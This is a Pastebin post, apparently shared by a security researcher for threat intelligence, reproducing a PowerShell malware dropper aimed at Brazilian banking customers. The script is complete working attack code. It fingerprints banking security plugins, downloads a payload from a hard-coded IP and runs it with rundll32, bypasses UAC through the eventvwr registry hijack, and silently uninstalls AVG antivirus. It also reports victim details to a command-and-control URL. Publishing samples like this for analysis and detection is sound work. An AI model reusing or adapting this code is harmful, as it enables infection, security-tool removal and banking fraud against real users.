Guest User

[@JohnLaTwC] A Brazil targeted threat using PowerShell

a guest
Oct 31st, 2016
1,535
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //posted by @JohnLaTwC
  2. //e32aeab71e0329f3b49c12f10f76cf6f93e62e63fb46361fad8bbe604d77b0e0
  3. //WSCRIPT.EXE Creates:
  4. -->
  5. if(-not (Test-Path "$env:APPDATA\Microsoft\Windows\Templates\temp")){
  6.     "" >> "$env:APPDATA\Microsoft\Windows\Templates\temp"
  7.     $dir = (${env:ProgramFiles(x86)}, ${env:ProgramFiles} -ne $null)[0];
  8.     $gbPath = Join-Path $dir "GbPlugin";
  9.     $paths = @{(Join-Path $gbPath gbiehcef.dll) = "104";(Join-Path $gbPath gbiehscd.dll) = "751";(Join-Path $gbPath gbieh.dll) = "001";(Join-Path $gbPath gbiehuni.dll) = "341";(Join-Path ($env:ProgramFiles) "\AppBrad\NetExpress50.exe") = "APP237";(Join-Path ($env:ProgramFiles) Trusteer) = "Trust";(Join-Path ($env:LOCALAPPDATA) "\Aplicativo Itau\itauaplicativo.exe") = "APP341";};
  10.     foreach ($path in $paths.GetEnumerator()) { if(Test-Path $($path.Name) ){ $V1 += $($path.Value) + ","}};
  11.     if($v1 -and (Get-Culture).Name -eq "pt-Br") {
  12.     $url = "http://104.154.84.149/arv/CO095D8F375489C400.cab";
  13.     $output = "$env:APPDATA\Microsoft\Windows\Templates\q73WotveoeyZnZu7odLdndaW.cab";
  14.     (New-Object System.Net.WebClient).DownloadFile($url, $output);
  15.     Start-Process rundll32 $env:APPDATA\Microsoft\Windows\Templates\q73WotveoeyZnZu7odLdndaW.cab,C5CBDDF23;
  16.     $avs = (Get-WmiObject -Namespace "root\SecurityCenter2" -QUERY "SELECT DisplayName FROM AntiVirusProduct");
  17.     foreach ($av1 in $avs) { $av += $av1.displayName + ","};
  18.     if($av -like "*avg*"){
  19.         $path = "HKCU:\Software\Classes\mscfile\shell\open\command";
  20.         if ((Get-ItemProperty -Path $path -Name "(default)" -ErrorAction SilentlyContinue) -eq $null){
  21.         New-Item $path -Force |  New-ItemProperty -Name "(Default)" -Value $command -PropertyType string -Force | Out-Null }
  22.         else{exit};
  23.         $eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath("System")) -ChildPath "eventvwr.exe";
  24.         Start-Process -FilePath $eventvwrPath;
  25.         Start-Sleep -Seconds 5;
  26.         $mscfilePath = "HKCU:\Software\Classes\mscfile";
  27.         if (Test-Path $mscfilePath) {Remove-Item $mscfilePath -Recurse -Force};
  28.         $uninstall32s = gci "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;
  29.         $uninstall64s = gci "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;
  30.        
  31.         foreach($uninstall64 in $uninstall64s) {
  32.         $uninstall64 = $uninstall64.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
  33.         $uninstall64 = $uninstall64.Trim();
  34.         if($uninstall64 -like "*/mode=offline*"){}else{Write-Warning $uninstall64; start-process "msiexec.exe" -args "/x $uninstall64  /qn /norestart" -Wait }};
  35.         foreach($uninstall32 in $uninstall32s) {
  36.         $uninstall32 = $uninstall32.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
  37.         $uninstall32 = $uninstall32.Trim();
  38.         if($uninstall32 -like "*/mode=offline*"){}else{Write-Warning $uninstall32; start-process "msiexec.exe" -args "/x $uninstall32  /qn /norestart" -Wait }};
  39.     };
  40.     $tudo = (Get-WmiObject -Namespace "root\CIMV2" -QUERY "SELECT * FROM Win32_OperatingSystem");
  41.     $w = [System.Net.WebRequest]::Create("http://93.188.161.69/naturaizando/OSTIU/LetsGo.php" + "?A=A&Sytem=" + $tudo.CSName + "::" + $tudo.Caption + ".:" + $tudo.CSDVersion +"("+$tudo.OsArchitecture+")"+ "&qual=" + $V1 + "&ele=" + $av).getResponse();
  42.     }
  43. }
Advertisement
Add Comment
Please, Sign In to add comment